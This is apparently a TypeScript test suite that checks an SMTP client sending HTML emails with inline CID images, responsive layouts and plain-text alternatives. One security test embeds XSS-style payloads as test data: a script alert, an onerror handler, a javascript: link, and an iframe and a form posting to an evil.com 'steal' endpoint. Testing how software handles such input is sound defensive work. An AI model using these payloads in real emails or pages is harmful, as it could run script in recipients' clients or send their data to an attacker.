dcrouter/test/suite/smtpclient_email-composition/test.cep-07.html-inline-images.ts
2025-05-26 04:09:29 +00:00

489 lines
15 KiB
TypeScript

import { tap, expect } from '@git.zone/tstest/tapbundle';
import { startTestServer, stopTestServer, type ITestServer } from '../../helpers/server.loader.js';
import { createSmtpClient } from '../../../ts/mail/delivery/smtpclient/index.js';
import { Email } from '../../../ts/mail/core/classes.email.js';
let testServer: ITestServer;
tap.test('setup test SMTP server', async () => {
testServer = await startTestServer({
port: 2567,
tlsEnabled: false,
authRequired: false
});
expect(testServer).toBeTruthy();
expect(testServer.port).toEqual(2567);
});
tap.test('CEP-07: Basic HTML email', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 5000
});
// Create HTML email
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'HTML Email Test',
html: `
<!DOCTYPE html>
<html>
<head>
<style>
body { font-family: Arial, sans-serif; }
.header { color: #333; background: #f0f0f0; padding: 20px; }
.content { padding: 20px; }
.footer { color: #666; font-size: 12px; }
</style>
</head>
<body>
<div class="header">
<h1>Welcome!</h1>
</div>
<div class="content">
<p>This is an <strong>HTML email</strong> with <em>formatting</em>.</p>
<ul>
<li>Feature 1</li>
<li>Feature 2</li>
<li>Feature 3</li>
</ul>
</div>
<div class="footer">
<p>© 2024 Example Corp</p>
</div>
</body>
</html>
`,
text: 'Welcome! This is an HTML email with formatting. Features: 1, 2, 3. © 2024 Example Corp'
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('Basic HTML email sent successfully');
});
tap.test('CEP-07: HTML email with inline images', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 10000
});
// Create a simple 1x1 red pixel PNG
const redPixelBase64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==';
// Create HTML email with inline image
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Email with Inline Images',
html: `
<html>
<body>
<h1>Email with Inline Images</h1>
<p>Here's an inline image:</p>
<img src="cid:image001" alt="Red pixel" width="100" height="100">
<p>And here's another one:</p>
<img src="cid:logo" alt="Company logo">
</body>
</html>
`,
attachments: [
{
filename: 'red-pixel.png',
content: Buffer.from(redPixelBase64, 'base64'),
contentType: 'image/png',
cid: 'image001' // Content-ID for inline reference
},
{
filename: 'logo.png',
content: Buffer.from(redPixelBase64, 'base64'), // Reuse for demo
contentType: 'image/png',
cid: 'logo'
}
]
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('HTML email with inline images sent successfully');
});
tap.test('CEP-07: Complex HTML with multiple inline resources', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 10000
});
// Create email with multiple inline resources
const email = new Email({
from: 'newsletter@example.com',
to: 'subscriber@example.com',
subject: 'Newsletter with Rich Content',
html: `
<html>
<head>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 0; }
.header { background: url('cid:header-bg') center/cover; height: 200px; }
.logo { width: 150px; }
.product { display: inline-block; margin: 10px; }
.product img { width: 100px; height: 100px; }
</style>
</head>
<body>
<div class="header">
<img src="cid:logo" alt="Company Logo" class="logo">
</div>
<h1>Monthly Newsletter</h1>
<div class="products">
<div class="product">
<img src="cid:product1" alt="Product 1">
<p>Product 1</p>
</div>
<div class="product">
<img src="cid:product2" alt="Product 2">
<p>Product 2</p>
</div>
<div class="product">
<img src="cid:product3" alt="Product 3">
<p>Product 3</p>
</div>
</div>
<img src="cid:footer-divider" alt="" style="width: 100%; height: 2px;">
<p>© 2024 Example Corp</p>
</body>
</html>
`,
text: 'Monthly Newsletter - View in HTML for best experience',
attachments: [
{
filename: 'header-bg.jpg',
content: Buffer.from('fake-image-data'),
contentType: 'image/jpeg',
cid: 'header-bg'
},
{
filename: 'logo.png',
content: Buffer.from('fake-logo-data'),
contentType: 'image/png',
cid: 'logo'
},
{
filename: 'product1.jpg',
content: Buffer.from('fake-product1-data'),
contentType: 'image/jpeg',
cid: 'product1'
},
{
filename: 'product2.jpg',
content: Buffer.from('fake-product2-data'),
contentType: 'image/jpeg',
cid: 'product2'
},
{
filename: 'product3.jpg',
content: Buffer.from('fake-product3-data'),
contentType: 'image/jpeg',
cid: 'product3'
},
{
filename: 'divider.gif',
content: Buffer.from('fake-divider-data'),
contentType: 'image/gif',
cid: 'footer-divider'
}
]
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('Complex HTML with multiple inline resources sent successfully');
});
tap.test('CEP-07: HTML with external and inline images mixed', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 5000
});
// Mix of inline and external images
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Mixed Image Sources',
html: `
<html>
<body>
<h1>Mixed Image Sources</h1>
<h2>Inline Image:</h2>
<img src="cid:inline-logo" alt="Inline Logo" width="100">
<h2>External Images:</h2>
<img src="https://via.placeholder.com/150" alt="External Image 1">
<img src="http://example.com/image.jpg" alt="External Image 2">
<h2>Data URI Image:</h2>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==" alt="Data URI">
</body>
</html>
`,
attachments: [
{
filename: 'logo.png',
content: Buffer.from('logo-data'),
contentType: 'image/png',
cid: 'inline-logo'
}
]
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('Successfully sent email with mixed image sources');
});
tap.test('CEP-07: HTML email responsive design', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 5000
});
// Responsive HTML email
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Responsive HTML Email',
html: `
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
@media screen and (max-width: 600px) {
.container { width: 100% !important; }
.column { width: 100% !important; display: block !important; }
.mobile-hide { display: none !important; }
}
.container { width: 600px; margin: 0 auto; }
.column { width: 48%; display: inline-block; vertical-align: top; }
img { max-width: 100%; height: auto; }
</style>
</head>
<body>
<div class="container">
<h1>Responsive Design Test</h1>
<div class="column">
<img src="cid:left-image" alt="Left Column">
<p>Left column content</p>
</div>
<div class="column">
<img src="cid:right-image" alt="Right Column">
<p>Right column content</p>
</div>
<p class="mobile-hide">This text is hidden on mobile devices</p>
</div>
</body>
</html>
`,
text: 'Responsive Design Test - View in HTML',
attachments: [
{
filename: 'left.jpg',
content: Buffer.from('left-image-data'),
contentType: 'image/jpeg',
cid: 'left-image'
},
{
filename: 'right.jpg',
content: Buffer.from('right-image-data'),
contentType: 'image/jpeg',
cid: 'right-image'
}
]
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('Successfully sent responsive HTML email');
});
tap.test('CEP-07: HTML sanitization and security', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 5000
});
// Email with potentially dangerous HTML
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'HTML Security Test',
html: `
<html>
<body>
<h1>Security Test</h1>
<!-- Scripts should be handled safely -->
<script>alert('This should not execute');</script>
<img src="x" onerror="alert('XSS')">
<a href="javascript:alert('Click')">Dangerous Link</a>
<iframe src="https://evil.com"></iframe>
<form action="https://evil.com/steal">
<input type="text" name="data">
</form>
<!-- Safe content -->
<p>This is safe text content.</p>
<img src="cid:safe-image" alt="Safe Image">
</body>
</html>
`,
text: 'Security Test - Plain text version',
attachments: [
{
filename: 'safe.png',
content: Buffer.from('safe-image-data'),
contentType: 'image/png',
cid: 'safe-image'
}
]
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('HTML security test sent successfully');
});
tap.test('CEP-07: Large HTML email with many inline images', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 30000
});
// Create email with many inline images
const imageCount = 10; // Reduced for testing
const attachments: any[] = [];
let htmlContent = '<html><body><h1>Performance Test</h1>';
for (let i = 0; i < imageCount; i++) {
const cid = `image${i}`;
htmlContent += `<img src="cid:${cid}" alt="Image ${i}" width="50" height="50">`;
attachments.push({
filename: `image${i}.png`,
content: Buffer.from(`fake-image-data-${i}`),
contentType: 'image/png',
cid: cid
});
}
htmlContent += '</body></html>';
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: `Email with ${imageCount} inline images`,
html: htmlContent,
attachments: attachments
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log(`Performance test with ${imageCount} inline images sent successfully`);
});
tap.test('CEP-07: Alternative content for non-HTML clients', async () => {
const smtpClient = await createSmtpClient({
host: testServer.hostname,
port: testServer.port,
secure: false,
connectionTimeout: 5000
});
// Email with rich HTML and good plain text alternative
const email = new Email({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Newsletter - March 2024',
html: `
<html>
<body style="font-family: Arial, sans-serif;">
<div style="background: #f0f0f0; padding: 20px;">
<img src="cid:header" alt="Company Newsletter" style="width: 100%; max-width: 600px;">
</div>
<div style="padding: 20px;">
<h1 style="color: #333;">March Newsletter</h1>
<h2 style="color: #666;">Featured Articles</h2>
<ul>
<li><a href="https://example.com/article1">10 Tips for Spring Cleaning</a></li>
<li><a href="https://example.com/article2">New Product Launch</a></li>
<li><a href="https://example.com/article3">Customer Success Story</a></li>
</ul>
<div style="background: #e0e0e0; padding: 15px; margin: 20px 0;">
<h3>Special Offer!</h3>
<p>Get 20% off with code: <strong>SPRING20</strong></p>
<img src="cid:offer" alt="Special Offer" style="width: 100%; max-width: 400px;">
</div>
</div>
<div style="background: #333; color: #fff; padding: 20px; text-align: center;">
<p>© 2024 Example Corp | <a href="https://example.com/unsubscribe" style="color: #fff;">Unsubscribe</a></p>
</div>
</body>
</html>
`,
text: `COMPANY NEWSLETTER
March 2024
FEATURED ARTICLES
* 10 Tips for Spring Cleaning
https://example.com/article1
* New Product Launch
https://example.com/article2
* Customer Success Story
https://example.com/article3
SPECIAL OFFER!
Get 20% off with code: SPRING20
---
© 2024 Example Corp
Unsubscribe: https://example.com/unsubscribe`,
attachments: [
{
filename: 'header.jpg',
content: Buffer.from('header-image'),
contentType: 'image/jpeg',
cid: 'header'
},
{
filename: 'offer.jpg',
content: Buffer.from('offer-image'),
contentType: 'image/jpeg',
cid: 'offer'
}
]
});
const result = await smtpClient.sendMail(email);
expect(result.success).toBeTruthy();
console.log('Newsletter with alternative content sent successfully');
});
tap.test('cleanup test SMTP server', async () => {
if (testServer) {
await stopTestServer(testServer);
}
});
export default tap.start();